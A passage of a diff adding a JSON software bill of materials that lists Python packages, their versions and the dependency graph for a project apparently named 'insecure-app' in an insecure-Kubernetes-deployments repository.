+      "bom-ref": "pkg:pypi/typing-extensions@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "tzdata",
+      "version": "latest",
+      "purl": "pkg:pypi/tzdata@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/tzdata@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "uc-micro-py",
+      "version": "latest",
+      "purl": "pkg:pypi/uc-micro-py@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/uc-micro-py@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "ujson",
+      "version": "latest",
+      "purl": "pkg:pypi/ujson@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/ujson@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "watchdog",
+      "version": "latest",
+      "purl": "pkg:pypi/watchdog@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/watchdog@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "wcwidth",
+      "version": "latest",
+      "purl": "pkg:pypi/wcwidth@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/wcwidth@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "webencodings",
+      "version": "0.5.1",
+      "purl": "pkg:pypi/webencodings@0.5.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/webencodings@0.5.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "websocket-client",
+      "version": "latest",
+      "purl": "pkg:pypi/websocket-client@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/websocket-client@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "werkzeug",
+      "version": "3.0.3",
+      "purl": "pkg:pypi/werkzeug@3.0.3",
+      "type": "library",
+      "bom-ref": "pkg:pypi/werkzeug@3.0.3",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "whatthepatch",
+      "version": "latest",
+      "purl": "pkg:pypi/whatthepatch@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/whatthepatch@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "widgetsnbextension",
+      "version": "latest",
+      "purl": "pkg:pypi/widgetsnbextension@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/widgetsnbextension@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "wurlitzer",
+      "version": "latest",
+      "purl": "pkg:pypi/wurlitzer@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/wurlitzer@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "xarray",
+      "version": "latest",
+      "purl": "pkg:pypi/xarray@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/xarray@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "xxhash",
+      "version": "latest",
+      "purl": "pkg:pypi/xxhash@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/xxhash@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "xyzservices",
+      "version": "latest",
+      "purl": "pkg:pypi/xyzservices@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/xyzservices@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "y-py",
+      "version": "latest",
+      "purl": "pkg:pypi/y-py@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/y-py@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "yapf",
+      "version": "latest",
+      "purl": "pkg:pypi/yapf@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/yapf@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "yarl",
+      "version": "latest",
+      "purl": "pkg:pypi/yarl@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/yarl@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "ypy-websocket",
+      "version": "latest",
+      "purl": "pkg:pypi/ypy-websocket@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/ypy-websocket@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "zict",
+      "version": "latest",
+      "purl": "pkg:pypi/zict@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/zict@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "zipp",
+      "version": "latest",
+      "purl": "pkg:pypi/zipp@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/zipp@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "zstandard",
+      "version": "latest",
+      "purl": "pkg:pypi/zstandard@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/zstandard@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    }
+  ],
+  "services": [],
+  "dependencies": [
+    {
+      "ref": "pkg:pypi/insecure-app@latest",
+      "dependsOn": [
+        "pkg:pypi/aiobotocore@latest",
+        "pkg:pypi/aiofiles@latest",
+        "pkg:pypi/aiosignal@latest",
+        "pkg:pypi/aiosqlite@latest",
+        "pkg:pypi/anaconda-anon-usage@latest",
+        "pkg:pypi/anaconda-catalogs@latest",
+        "pkg:pypi/anaconda-cloud-auth@latest",
+        "pkg:pypi/anaconda-navigator@latest",
+        "pkg:pypi/anaconda-project@latest",
+        "pkg:pypi/anyio@latest",
+        "pkg:pypi/appdirs@1.4.4",
+        "pkg:pypi/argon2-cffi-bindings@latest",
+        "pkg:pypi/argon2-cffi@latest",
+        "pkg:pypi/arrow@latest",
+        "pkg:pypi/astroid@latest",
+        "pkg:pypi/astropy@latest",
+        "pkg:pypi/asttokens@latest",
+        "pkg:pypi/async-timeout@latest",
+        "pkg:pypi/atomicwrites@1.4.0",
+        "pkg:pypi/autopep8@latest",
+        "pkg:pypi/backcall@latest",
+        "pkg:pypi/backports.functools-lru-cache@latest",
+        "pkg:pypi/backports.tempfile@latest",
+        "pkg:pypi/backports.weakref@1.0.post1",
+        "pkg:pypi/bcrypt@latest",
+        "pkg:pypi/beautifulsoup4@latest",
+        "pkg:pypi/binaryornot@latest",
+        "pkg:pypi/black@latest",
+        "pkg:pypi/bleach@latest",
+        "pkg:pypi/blinker@1.8.2",
+        "pkg:pypi/bokeh@latest",
+        "pkg:pypi/boltons@latest",
+        "pkg:pypi/bottleneck@latest",
+        "pkg:pypi/brotlipy@0.7.0",
+        "pkg:pypi/certifi@latest",
+        "pkg:pypi/cffi@latest",
+        "pkg:pypi/chardet@3.0.4",
+        "pkg:pypi/charset-normalizer@latest",
+        "pkg:pypi/click@8.1.7",
+        "pkg:pypi/cloudpickle@latest",
+        "pkg:pypi/colorama@latest",
+        "pkg:pypi/colorcet@latest",
+        "pkg:pypi/comm@latest",
+        "pkg:pypi/conda-build@latest",
+        "pkg:pypi/conda-content-trust@latest",
+        "pkg:pypi/conda-index@latest",
+        "pkg:pypi/conda-libmamba-solver@latest",
+        "pkg:pypi/conda-package-streaming@latest",
+        "pkg:pypi/conda-repo-cli@1.0.75",
+        "pkg:pypi/conda-token@latest",
+        "pkg:pypi/conda-verify@3.4.2",
+        "pkg:pypi/contourpy@latest",
+        "pkg:pypi/cookiecutter@latest",
+        "pkg:pypi/cycler@latest",
+        "pkg:pypi/cytoolz@latest",
+        "pkg:pypi/daal4py@2023.1.1",
+        "pkg:pypi/dask@latest",
+        "pkg:pypi/datasets@latest",
+        "pkg:pypi/datashader@latest",
+        "pkg:pypi/datashape@0.5.4",
+        "pkg:pypi/debugpy@latest",
+        "pkg:pypi/decorator@latest",
+        "pkg:pypi/diff-match-patch@latest",
+        "pkg:pypi/dill@latest",
+        "pkg:pypi/distributed@latest",
+        "pkg:pypi/docstring-to-markdown@latest",
+        "pkg:pypi/entrypoints@latest",
+        "pkg:pypi/et-xmlfile@1.1.0",
+        "pkg:pypi/executing@latest",
+        "pkg:pypi/fastjsonschema@latest",
+        "pkg:pypi/filelock@latest",
+        "pkg:pypi/flake8@latest",
+        "pkg:pypi/flask@3.0.2",
+        "pkg:pypi/fonttools@4.25.0",
+        "pkg:pypi/fsspec@latest",
+        "pkg:pypi/future@latest",
+        "pkg:pypi/gensim@latest",
+        "pkg:pypi/glob2@latest",
+        "pkg:pypi/gmpy2@latest",
+        "pkg:pypi/h5py@latest",
+        "pkg:pypi/heapdict@latest",
+        "pkg:pypi/holoviews@latest",
+        "pkg:pypi/huggingface-hub@latest",
+        "pkg:pypi/hvplot@latest",
+        "pkg:pypi/idna@2.7",
+        "pkg:pypi/imagecodecs@latest",
+        "pkg:pypi/imageio@latest",
+        "pkg:pypi/imbalanced-learn@latest",
+        "pkg:pypi/importlib-metadata@latest",
+        "pkg:pypi/inflection@0.5.1",
+        "pkg:pypi/iniconfig@latest",
+        "pkg:pypi/intervaltree@latest",
+        "pkg:pypi/ipykernel@latest",
+        "pkg:pypi/ipython-genutils@latest",
+        "pkg:pypi/ipython@latest",
+        "pkg:pypi/ipywidgets@latest",
+        "pkg:pypi/isort@latest",
+        "pkg:pypi/itsdangerous@2.2.0",
+        "pkg:pypi/jaraco.classes@latest",
+        "pkg:pypi/jedi@latest",
+        "pkg:pypi/jellyfish@latest",
+        "pkg:pypi/jinja2-time@latest",
+        "pkg:pypi/jmespath@latest",
+        "pkg:pypi/joblib@latest",
+        "pkg:pypi/json5@latest",
+        "pkg:pypi/jsonpatch@latest",
+        "pkg:pypi/jsonpointer@2.1",
+        "pkg:pypi/jsonschema@latest",
+        "pkg:pypi/jupyter-client@latest",
+        "pkg:pypi/jupyter-console@latest",
+        "pkg:pypi/jupyter-core@latest",
+        "pkg:pypi/jupyter-events@latest",
+        "pkg:pypi/jupyter-server-fileid@latest",
+        "pkg:pypi/jupyter-server-ydoc@latest",
+        "pkg:pypi/jupyter-server@latest",
+        "pkg:pypi/jupyter-ydoc@latest",
+        "pkg:pypi/jupyter@latest",
+        "pkg:pypi/jupyterlab-pygments@latest",
+        "pkg:pypi/jupyterlab-server@latest",
+        "pkg:pypi/jupyterlab-widgets@latest",
+        "pkg:pypi/jupyterlab@latest",
+        "pkg:pypi/kaleido@latest",
+        "pkg:pypi/kiwisolver@latest",
+        "pkg:pypi/lazy-loader@latest",
+        "pkg:pypi/lazy-object-proxy@latest",
+        "pkg:pypi/libarchive-c@latest",
+        "pkg:pypi/libmambapy@latest",
+        "pkg:pypi/linkify-it-py@latest",
+        "pkg:pypi/llvmlite@latest",
+        "pkg:pypi/lmdb@latest",
+        "pkg:pypi/locket@latest",
+        "pkg:pypi/lz4@latest",
+        "pkg:pypi/markdown-it-py@latest",
+        "pkg:pypi/markdown@latest",
+        "pkg:pypi/matplotlib-inline@latest",
+        "pkg:pypi/matplotlib@latest",
+        "pkg:pypi/mccabe@latest",
+        "pkg:pypi/mdit-py-plugins@latest",
+        "pkg:pypi/mdurl@latest",
+        "pkg:pypi/mistune@latest",
+        "pkg:pypi/mkl-fft@latest",
+        "pkg:pypi/mkl-random@latest",
+        "pkg:pypi/mkl-service@2.4.0",
+        "pkg:pypi/more-itertools@latest",
+        "pkg:pypi/mpmath@latest",
+        "pkg:pypi/msgpack@latest",
+        "pkg:pypi/multidict@latest",
+        "pkg:pypi/multipledispatch@latest",
+        "pkg:pypi/multiprocess@latest",
+        "pkg:pypi/munkres@1.1.4",
+        "pkg:pypi/mypy-extensions@latest",
+        "pkg:pypi/navigator-updater@latest",
+        "pkg:pypi/nbclassic@latest",
+        "pkg:pypi/nbclient@latest",
+        "pkg:pypi/nbconvert@latest",
+        "pkg:pypi/nest-asyncio@latest",
+        "pkg:pypi/networkx@latest",
+        "pkg:pypi/nltk@latest",
+        "pkg:pypi/notebook-shim@latest",
+        "pkg:pypi/notebook@latest",
+        "pkg:pypi/numba@latest",
+        "pkg:pypi/numexpr@latest",
+        "pkg:pypi/numpydoc@latest",
+        "pkg:pypi/openpyxl@3.0.10",
+        "pkg:pypi/pandas@latest",
+        "pkg:pypi/pandocfilters@latest",
+        "pkg:pypi/panel@latest",
+        "pkg:pypi/param@latest",
+        "pkg:pypi/parso@latest",
+        "pkg:pypi/partd@latest",
+        "pkg:pypi/pathlib@latest",
+        "pkg:pypi/pathspec@latest",
+        "pkg:pypi/patsy@0.5.3",
+        "pkg:pypi/pep8@1.7.1",
+        "pkg:pypi/pexpect@latest",
+        "pkg:pypi/pickleshare@latest",
+        "pkg:pypi/pillow@latest",
+        "pkg:pypi/pkginfo@latest",
+        "pkg:pypi/platformdirs@latest",
+        "pkg:pypi/plotly@latest",
+        "pkg:pypi/pluggy@latest",
+        "pkg:pypi/ply@3.11",
+        "pkg:pypi/poyo@latest",
+        "pkg:pypi/prometheus-client@latest",
+        "pkg:pypi/prompt-toolkit@latest",
+        "pkg:pypi/psutil@latest",
+        "pkg:pypi/ptyprocess@latest",
+        "pkg:pypi/pure-eval@latest",
+        "pkg:pypi/py-cpuinfo@latest",
+        "pkg:pypi/pyarrow@11.0.0",
+        "pkg:pypi/pyasn1-modules@0.2.8",
+        "pkg:pypi/pyasn1@latest",
+        "pkg:pypi/pycodestyle@latest",
+        "pkg:pypi/pycosat@latest",
+        "pkg:pypi/pycparser@latest",
+        "pkg:pypi/pyct@latest",
+        "pkg:pypi/pycurl@latest",
+        "pkg:pypi/pydocstyle@latest",
+        "pkg:pypi/pyerfa@latest",
+        "pkg:pypi/pyflakes@latest",
+        "pkg:pypi/pylint-venv@latest",
+        "pkg:pypi/pylint@latest",
+        "pkg:pypi/pyls-spyder@0.4.0",
+        "pkg:pypi/pyodbc@latest",
+        "pkg:pypi/pyparsing@latest",
+        "pkg:pypi/pyqt5-sip@12.11.0",
+        "pkg:pypi/pyrsistent@latest",
+        "pkg:pypi/pysocks@latest",
+        "pkg:pypi/pytest@latest",
+        "pkg:pypi/python-json-logger@latest",
+        "pkg:pypi/python-lsp-black@latest",
+        "pkg:pypi/python-lsp-jsonrpc@1.0.0",
+        "pkg:pypi/python-lsp-server@latest",
+        "pkg:pypi/python-slugify@latest",
+        "pkg:pypi/python-snappy@latest",
+        "pkg:pypi/pytoolconfig@latest",
+        "pkg:pypi/pyviz-comms@latest",
+        "pkg:pypi/pywavelets@latest",
+        "pkg:pypi/pyxdg@latest",
+        "pkg:pypi/pyzmq@latest",
+        "pkg:pypi/qdarkstyle@latest",
+        "pkg:pypi/qstylizer@latest",
+        "pkg:pypi/qtawesome@latest",
+        "pkg:pypi/qtconsole@latest",
+        "pkg:pypi/regex@latest",
+        "pkg:pypi/requests-file@latest",
+        "pkg:pypi/requests-toolbelt@latest",
+        "pkg:pypi/responses@latest",
+        "pkg:pypi/rfc3339-validator@latest",
+        "pkg:pypi/rfc3986-validator@latest",
+        "pkg:pypi/rope@latest",
+        "pkg:pypi/rtree@latest",
+        "pkg:pypi/ruamel-yaml-conda@latest",
+        "pkg:pypi/ruamel.yaml@latest",
+        "pkg:pypi/s3fs@latest",
+        "pkg:pypi/safetensors@latest",
+        "pkg:pypi/scikit-image@latest",
+        "pkg:pypi/scikit-learn-intelex@20230426.111612",
+        "pkg:pypi/scikit-learn@latest",
+        "pkg:pypi/scipy@latest",
+        "pkg:pypi/scrapy@latest",
+        "pkg:pypi/seaborn@latest",
+        "pkg:pypi/secretstorage@latest",
+        "pkg:pypi/send2trash@latest",
+        "pkg:pypi/sip@latest",
+        "pkg:pypi/smart-open@latest",
+        "pkg:pypi/sniffio@latest",
+        "pkg:pypi/sortedcontainers@latest",
+        "pkg:pypi/soupsieve@latest",
+        "pkg:pypi/sphinx@latest",
+        "pkg:pypi/spyder-kernels@latest",
+        "pkg:pypi/spyder@latest",
+        "pkg:pypi/sqlalchemy@latest",
+        "pkg:pypi/stack-data@latest",
+        "pkg:pypi/statsmodels@latest",
+        "pkg:pypi/sympy@latest",
+        "pkg:pypi/tables@latest",
+        "pkg:pypi/tabulate@latest",
+        "pkg:pypi/tbb@0.2",
+        "pkg:pypi/tblib@latest",
+        "pkg:pypi/tenacity@latest",
+        "pkg:pypi/terminado@latest",
+        "pkg:pypi/text-unidecode@latest",
+        "pkg:pypi/textdistance@latest",
+        "pkg:pypi/threadpoolctl@latest",
+        "pkg:pypi/three-merge@latest",
+        "pkg:pypi/tifffile@latest",
+        "pkg:pypi/tinycss2@latest",
+        "pkg:pypi/tokenizers@latest",
+        "pkg:pypi/toml@latest",
+        "pkg:pypi/tomlkit@latest",
+        "pkg:pypi/toolz@latest",
+        "pkg:pypi/tornado@latest",
+        "pkg:pypi/tqdm@latest",
+        "pkg:pypi/traitlets@latest",
+        "pkg:pypi/transformers@latest",
+        "pkg:pypi/typing-extensions@latest",
+        "pkg:pypi/tzdata@latest",
+        "pkg:pypi/uc-micro-py@latest",
+        "pkg:pypi/ujson@latest",
+        "pkg:pypi/unidecode@latest",
+        "pkg:pypi/urllib3@1.23",
+        "pkg:pypi/watchdog@latest",
+        "pkg:pypi/wcwidth@latest",
+        "pkg:pypi/webencodings@0.5.1",
+        "pkg:pypi/websocket-client@latest",
+        "pkg:pypi/werkzeug@3.0.3",
+        "pkg:pypi/whatthepatch@latest",
+        "pkg:pypi/widgetsnbextension@latest",
+        "pkg:pypi/wurlitzer@latest",
+        "pkg:pypi/xarray@latest",
+        "pkg:pypi/xxhash@latest",
+        "pkg:pypi/xyzservices@latest",
+        "pkg:pypi/y-py@latest",
+        "pkg:pypi/yapf@latest",
+        "pkg:pypi/yarl@latest",
+        "pkg:pypi/ypy-websocket@latest",
+        "pkg:pypi/zict@latest",
+        "pkg:pypi/zipp@latest",
+        "pkg:pypi/zstandard@latest"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/numpy@1.24.3",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/bottleneck@latest",
+      "dependsOn": [
+        "pkg:pypi/numpy@1.24.3"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/heapdict@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/markdown@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pillow@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyqt5-sip@12.11.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pysocks@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pywavelets@latest",
+      "dependsOn": [
+        "pkg:pypi/numpy@1.24.3"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/qtpy@2.2.0",
+      "dependsOn": [
+        "pkg:pypi/packaging@23.1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/packaging@23.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/qdarkstyle@latest",
+      "dependsOn": [
+        "pkg:pypi/qtpy@2.2.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/qtawesome@latest",
+      "dependsOn": [
+        "pkg:pypi/qtpy@2.2.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/rtree@latest",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/greenlet@2.0.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/sqlalchemy@latest",
+      "dependsOn": [
+        "pkg:pypi/greenlet@2.0.1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/twisted@22.10.0",
+      "dependsOn": [
+        "pkg:pypi/attrs@22.1.0",
+        "pkg:pypi/automat@20.2.0",
+        "pkg:pypi/constantly@15.1.0",
+        "pkg:pypi/hyperlink@21.0.0",
+        "pkg:pypi/incremental@21.3.0",
+        "pkg:pypi/typing-extensions@4.7.1",
+        "pkg:pypi/zope.interface@5.4.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/zope.interface@5.4.0",
+      "dependsOn": [
+        "pkg:pypi/setuptools@68.0.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/setuptools@68.0.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/constantly@15.1.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/incremental@21.3.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/automat@20.2.0",
+      "dependsOn": [
+        "pkg:pypi/attrs@22.1.0",
+        "pkg:pypi/six@1.16.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/attrs@22.1.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/six@1.16.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/hyperlink@21.0.0",
+      "dependsOn": [
+        "pkg:pypi/idna@2.7"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/idna@2.7",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/typing-extensions@4.7.1",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/cryptography@3.3.2",
+      "dependsOn": [
+        "pkg:pypi/cffi@1.15.1",
+        "pkg:pypi/six@1.16.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/cffi@1.15.1",
+      "dependsOn": [
+        "pkg:pypi/pycparser@2.21"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/pycparser@2.21",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/cssselect@1.1.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/itemloaders@1.0.4",
+      "dependsOn": [
+        "pkg:pypi/itemadapter@0.3.0",
+        "pkg:pypi/jmespath@0.10.0",
+        "pkg:pypi/parsel@1.6.0",
+        "pkg:pypi/w3lib@1.21.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/w3lib@1.21.0",
+      "dependsOn": [
+        "pkg:pypi/six@1.16.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/parsel@1.6.0",
+      "dependsOn": [
+        "pkg:pypi/lxml@4.9.3",
+        "pkg:pypi/w3lib@1.21.0"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/lxml@4.9.3",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/jmespath@0.10.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/itemadapter@0.3.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pyopenssl@23.2.0",
+      "dependsOn": [
+        "pkg:pypi/cryptography@3.3.2"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/queuelib@1.5.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/service-identity@18.1.0",
+      "dependsOn": [
+        "pkg:pypi/attrs@22.1.0",
+        "pkg:pypi/cryptography@3.3.2",
+        "pkg:pypi/pyasn1-modules@0.2.8",
+        "pkg:pypi/pyasn1@0.4.8"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/pyasn1-modules@0.2.8",
+      "dependsOn": [
+        "pkg:pypi/pyasn1@0.4.8"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/pyasn1@0.4.8",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/protego@0.1.16",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/tldextract@3.2.0",
+      "dependsOn": [
+        "pkg:pypi/filelock@3.9.0",
+        "pkg:pypi/idna@2.7",
+        "pkg:pypi/requests-file@1.5.1",
+        "pkg:pypi/requests@2.19.1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/requests@2.19.1",
+      "dependsOn": [
+        "pkg:pypi/certifi@2023.7.22",
+        "pkg:pypi/chardet@3.0.4",
+        "pkg:pypi/idna@2.7",
+        "pkg:pypi/urllib3@1.23"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/chardet@3.0.4",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/urllib3@1.23",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/certifi@2023.7.22",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/requests-file@1.5.1",
+      "dependsOn": [
+        "pkg:pypi/requests@2.19.1"
+      ]
+    },
+    {
+      "ref": "pkg:pypi/filelock@3.9.0",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/pydispatcher@2.0.5",
+      "dependsOn": []
+    },
+    {
+      "ref": "pkg:pypi/scrapy@latest",
+      "dependsOn": [
+        "pkg:pypi/cryptography@3.3.2",
+        "pkg:pypi/cssselect@1.1.0",
+        "pkg:pypi/itemadapter@0.3.0",
+        "pkg:pypi/itemloaders@1.0.4",
+        "pkg:pypi/lxml@4.9.3",
+        "pkg:pypi/packaging@23.1",
+        "pkg:pypi/parsel@1.6.0",
